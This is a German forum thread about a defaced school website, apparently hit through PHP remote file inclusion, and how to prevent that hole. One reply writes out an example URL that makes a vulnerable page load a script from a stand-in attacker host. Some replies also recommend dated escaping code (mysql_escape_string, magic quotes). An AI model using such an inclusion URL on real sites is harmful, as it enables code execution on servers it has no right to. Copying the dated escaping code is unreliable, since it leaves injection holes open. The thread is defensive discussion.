[HaBo]

-Tux-

Anzeige

Hallo ein Freund von mir hat auf seiner Homepage diese Seite vorgefunden in seinem linken Frame diese Seite vor ich hab sie nur mal umbennant und im Log nachgeschaut. Jedoch fand ich keine Fehlversuche beim einlogen feststellen gekonnt. Was haltet ihr davon???
Hier ist die neu erstellte Seite der eindringlinge!

derhesse

Ich denke mal, die Jungs haben die schon lange bekannte Sicherheitslücke von PHP ausgenutzt. Include oder Require ohne Prüfung der Variable. Dies kann genutzt werden, um fremden Code auszuführen.

ICHdasICH

Hm, leicht nationalistischer hauch...
Naja...aber wenns n bekannter exploit war: Selbst schuld...bzw der Serverbetreiber.Sei froh, dass sie nur etwas defaced haben...

MfgICH

sieben

Was macht dich da so sicher?

__________________
Diese Zeile ist reserviert für Clark Kent.

Prometheus

Bestimmt haben sich einpaar Kids dieser Realschule nur einen Spaß gemacht und sich mit falschen Namen und Nationalität ausgegeben. Wenn man auch schon bedenkt, das sie in der Schule eventuell auch auf gewisse Daten ZUgriff haben, ist sowas ein Kinderspiel. Zumal wenn ich mich noch an meinen Informatiklehrer errinnern konnte, der überhaupt gar keine Ahnung von Websicherheit und Webdesign hatte.

Imrahil

Ich hab mich ja jetzt mal in Google umgesehen, und leider nichts gefunden was in irgendeiner Hinsicht hilfreich wäre...
Worin besteht denn diese Gefahr beim include() bzw. require() ???
Da ich selber beide benutze wüsste ich das gerne um die Sicherheitslücke eventuell zu closen...
Reicht es da einen switch zu machen?
Also:
switch($site) {
case "home";
include("home.php");
break;
case "etc";
...
break;
}
Ist denn diese version unsicher?

if(@$site){
include($site.".php");
}
else{
require("home.php");
}

Hoffnung auf Hilfe hat,
Imrahil

treo

Es gibt sowas wie eine Include/Require Lücke nicht in PHP,
es war purer schwachfug des Scripters.
Dazu empfehle ich das hier mal zu lesen:
http://www.inside-php.de/board/topic-418.0-all.html

Imrahil

nun, es ist insofern eine sicherheitslücke als dass bei unsachgemäßer handhabung ein unbefugter sich zugriff verschaffen kann...
Ist es möglich auf die art und weise Code zu injezieren? ja oder nein?
Wenn ja wie kann man dies verhindern, also wie lasse ich es gar nicht erst zu diesem fehler kommen?
Imrahil

treo

man kann mit einer direktive verhindern das urls includet werden können
wenn man immer die eingaben der user prüft dann kann man es gar nicht erst dazu kommen lassen

Imrahil

also?
Unsicher ist gleich das hier:
und sicher ist gleich das hier:
Hab ich das richtig verstanden?
Oder kann man einfach http:// removen???

ghostdog

wenn du den user den user indirekt deine seitn steuern lassen kannst, kann er schlimmstenfalls deinen server zum abkacken bringen.
wenn du schreibst
if($site != ""){
include($site.".php");
}
else{
include("home.php");
}
http://xy.com/?site=http://haxor.org/boehse.php
die wird einfach eingefügt, wenn du case switch benutzt, dnan kann er die variable nicht beeinflussen

__________________
Die neuen Desire Z und Desire HD Smartphones

Imrahil

ok, dann mal vielen dank für die antworten!
Greetz Imrahil

The Dude

das beispiel mit $site sieht so aus als wuerdest du register_globals verwenden. dass will man natuerlich nicht. also stattdessen $HTTP_GET_VARS['site'], bzw. POST. davon gibts auch noch kurzvarianten die ich aber grad nicht auswendig weiss.

ich benutze in skripten eigentlich immer statt include() oder require() die funktion require_once(). ist nicht unbedingt sicherheitsrelevant aber kann nicht schaden.

ansonsten massnahmen gegen sql injection treffen. dafuer hab ich ne funktion sqlfix():
function sqlfix($s) {
return (get_magic_quotes_gpc()==1) ? mysql_escape_string($s) : "'".mysql_escape_string($s)."'";
}

hab ich glaube aus irgend nem kommentar auf php.net. die benutzt du ueberall wo benutzereingaben in sql queries integriert werden. ausser bei numerischen werten, da nehm ich is_numeric($HTTP_GET_VARS['userid']).

ausserdem kann man in der php.ini diese remote include funktionalitaet ausschalten. oder gleich safemode aktivieren, aber dann geht einiges nicht mehr.

ghostdog

achso ja hatte ich ganz vergessen, in deiner php.ini umbedingt register_globals auf 0 setzen. register_globals is evil

__________________
Die neuen Desire Z und Desire HD Smartphones

ivegotmail

wenn wir jetzt schon bei sql injection sind, sollte man auch noch ne möglichkeit gegen cross-site-scripting erwähnen.
also man sollte htmlspecialchars() verwenden, wenn die vom benutzer gemachten eingaben kein html enthalten dürfen.

__________________
http://livehabo.hackerboard.de | http://livebb.sourceforge.net